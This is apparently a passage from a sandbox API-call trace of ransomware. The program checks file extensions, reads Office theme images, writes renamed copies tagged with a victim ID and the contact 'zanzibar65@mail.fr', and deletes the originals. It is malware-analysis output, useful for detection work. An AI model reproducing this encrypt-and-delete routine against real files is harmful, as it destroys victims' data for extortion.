lpString2=".GIF") returned -1 [0044.070] lstrlenW (lpString=".docx") returned 5 [0044.070] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.070] lstrlenW (lpString=".pdf") returned 4 [0044.070] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.070] lstrlenW (lpString=".xls") returned 4 [0044.070] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.070] lstrlenW (lpString=".xlsx") returned 5 [0044.070] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.070] lstrlenW (lpString=".ppt") returned 4 [0044.070] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.070] lstrlenW (lpString=".zip") returned 4 [0044.070] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.070] lstrlenW (lpString=".rar") returned 4 [0044.070] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.070] lstrlenW (lpString=".bz2") returned 4 [0044.070] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.070] lstrlenW (lpString=".7z") returned 3 [0044.070] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.070] lstrlenW (lpString=".dbf") returned 4 [0044.070] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.071] lstrlenW (lpString=".1cd") returned 4 [0044.071] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.071] lstrlenW (lpString=".jpg") returned 4 [0044.071] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.071] lstrlenW (lpString=".doc") returned 4 [0044.071] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.071] lstrlenW (lpString=".docx") returned 5 [0044.071] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.071] lstrlenW (lpString=".pdf") returned 4 [0044.071] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.071] lstrlenW (lpString=".xls") returned 4 [0044.071] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.071] lstrlenW (lpString=".xlsx") returned 5 [0044.071] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.071] lstrlenW (lpString=".ppt") returned 4 [0044.071] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.071] lstrlenW (lpString=".zip") returned 4 [0044.071] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.071] lstrlenW (lpString=".rar") returned 4 [0044.071] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.071] lstrlenW (lpString=".bz2") returned 4 [0044.071] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.071] lstrlenW (lpString=".7z") returned 3 [0044.071] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.071] lstrlenW (lpString=".dbf") returned 4 [0044.072] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.072] lstrlenW (lpString=".1cd") returned 4 [0044.072] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.072] lstrlenW (lpString=".jpg") returned 4 [0044.072] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.072] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.072] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.072] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1379) returned 1 [0044.072] CloseHandle (hObject=0x174) returned 1 [0044.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0044.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.073] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.073] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.074] GetLastError () returned 0x0 [0044.074] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x563, lpOverlapped=0x0) returned 1 [0044.076] WriteFile (in: hFile=0x1f8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x570, lpOverlapped=0x0) returned 1 [0044.077] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.077] WriteFile (in: hFile=0x1f8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.077] SetEndOfFile (hFile=0x1f8) returned 1 [0044.078] CloseHandle (hObject=0x1f8) returned 1 [0044.078] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.078] SetEndOfFile (hFile=0x174) returned 1 [0044.078] CloseHandle (hObject=0x174) returned 1 [0044.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.079] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0044.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.079] lstrlenW (lpString=".doc") returned 4 [0044.079] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.079] lstrlenW (lpString=".docx") returned 5 [0044.079] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.079] lstrlenW (lpString=".pdf") returned 4 [0044.079] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.079] lstrlenW (lpString=".xls") returned 4 [0044.079] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.079] lstrlenW (lpString=".xlsx") returned 5 [0044.079] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.079] lstrlenW (lpString=".ppt") returned 4 [0044.079] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.079] lstrlenW (lpString=".zip") returned 4 [0044.079] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.079] lstrlenW (lpString=".rar") returned 4 [0044.080] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.080] lstrlenW (lpString=".bz2") returned 4 [0044.080] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.080] lstrlenW (lpString=".7z") returned 3 [0044.080] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.080] lstrlenW (lpString=".dbf") returned 4 [0044.080] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.080] lstrlenW (lpString=".1cd") returned 4 [0044.080] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.080] lstrlenW (lpString=".jpg") returned 4 [0044.080] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.080] lstrlenW (lpString=".doc") returned 4 [0044.080] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.080] lstrlenW (lpString=".docx") returned 5 [0044.080] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.080] lstrlenW (lpString=".pdf") returned 4 [0044.080] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.080] lstrlenW (lpString=".xls") returned 4 [0044.080] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.080] lstrlenW (lpString=".xlsx") returned 5 [0044.081] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.081] lstrlenW (lpString=".ppt") returned 4 [0044.081] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.081] lstrlenW (lpString=".zip") returned 4 [0044.081] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.081] lstrlenW (lpString=".rar") returned 4 [0044.081] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.081] lstrlenW (lpString=".bz2") returned 4 [0044.081] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.081] lstrlenW (lpString=".7z") returned 3 [0044.081] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.081] lstrlenW (lpString=".dbf") returned 4 [0044.081] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.081] lstrlenW (lpString=".1cd") returned 4 [0044.081] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0044.081] lstrlenW (lpString=".jpg") returned 4 [0044.081] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.081] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.081] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.082] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=48115) returned 1 [0044.082] CloseHandle (hObject=0x174) returned 1 [0044.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0044.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.082] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.082] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.082] GetLastError () returned 0x0 [0044.082] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0044.433] WriteFile (in: hFile=0x1f8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0044.435] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.435] WriteFile (in: hFile=0x1f8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.435] SetEndOfFile (hFile=0x1f8) returned 1 [0044.435] CloseHandle (hObject=0x1f8) returned 1 [0044.435] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.435] SetEndOfFile (hFile=0x174) returned 1 [0044.436] CloseHandle (hObject=0x174) returned 1 [0044.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.437] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0044.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.437] lstrlenW (lpString=".doc") returned 4 [0044.437] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.437] lstrlenW (lpString=".docx") returned 5 [0044.437] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.437] lstrlenW (lpString=".pdf") returned 4 [0044.437] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.437] lstrlenW (lpString=".xls") returned 4 [0044.437] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.437] lstrlenW (lpString=".xlsx") returned 5 [0044.437] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.437] lstrlenW (lpString=".ppt") returned 4 [0044.437] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.437] lstrlenW (lpString=".zip") returned 4 [0044.437] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.437] lstrlenW (lpString=".rar") returned 4 [0044.437] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.438] lstrlenW (lpString=".bz2") returned 4 [0044.438] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.438] lstrlenW (lpString=".7z") returned 3 [0044.438] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.438] lstrlenW (lpString=".dbf") returned 4 [0044.438] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.438] lstrlenW (lpString=".1cd") returned 4 [0044.438] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.438] lstrlenW (lpString=".jpg") returned 4 [0044.438] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.438] lstrlenW (lpString=".doc") returned 4 [0044.438] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.438] lstrlenW (lpString=".docx") returned 5 [0044.438] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.438] lstrlenW (lpString=".pdf") returned 4 [0044.438] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.438] lstrlenW (lpString=".xls") returned 4 [0044.438] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.438] lstrlenW (lpString=".xlsx") returned 5 [0044.438] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.438] lstrlenW (lpString=".ppt") returned 4 [0044.438] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.438] lstrlenW (lpString=".zip") returned 4 [0044.438] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.438] lstrlenW (lpString=".rar") returned 4 [0044.438] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.438] lstrlenW (lpString=".bz2") returned 4 [0044.439] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.439] lstrlenW (lpString=".7z") returned 3 [0044.439] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.439] lstrlenW (lpString=".dbf") returned 4 [0044.439] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.439] lstrlenW (lpString=".1cd") returned 4 [0044.439] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0044.439] lstrlenW (lpString=".jpg") returned 4 [0044.439] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.439] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.439] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.441] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1339) returned 1 [0044.441] CloseHandle (hObject=0x174) returned 1 [0044.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0044.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.442] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.442] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.807] GetLastError () returned 0x0 [0044.807] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x53b, lpOverlapped=0x0) returned 1 [0044.809] WriteFile (in: hFile=0x1e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x540, lpOverlapped=0x0) returned 1 [0044.810] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.810] WriteFile (in: hFile=0x1e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.810] SetEndOfFile (hFile=0x1e8) returned 1 [0044.810] CloseHandle (hObject=0x1e8) returned 1 [0044.810] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.810] SetEndOfFile (hFile=0x174) returned 1 [0044.811] CloseHandle (hObject=0x174) returned 1 [0044.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.811] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0044.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.811] lstrlenW (lpString=".doc") returned 4 [0044.811] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.811] lstrlenW (lpString=".docx") returned 5 